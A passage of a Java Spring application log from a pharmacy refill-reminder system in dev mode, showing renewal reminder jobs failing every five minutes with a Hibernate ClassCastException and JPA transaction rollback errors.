org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 07:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 07:45:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 07:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 07:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 07:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 07:50:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 07:50:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 07:50:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 07:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 07:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 07:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 07:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 07:50:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 07:50:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 07:50:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 07:50:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 07:50:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 07:50:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 07:50:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 07:55:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 07:55:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 07:55:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 07:55:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 07:55:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 07:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 07:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 07:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 07:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 07:55:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 07:55:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 07:55:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 07:55:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 07:55:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 08:00:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 08:00:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 08:00:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 08:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:00:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 08:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:00:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 08:00:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 08:00:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 08:00:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 08:00:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 08:00:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 08:05:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 08:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:05:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 08:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:05:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 08:05:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 08:05:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 08:05:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 08:05:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 08:05:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 08:05:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at 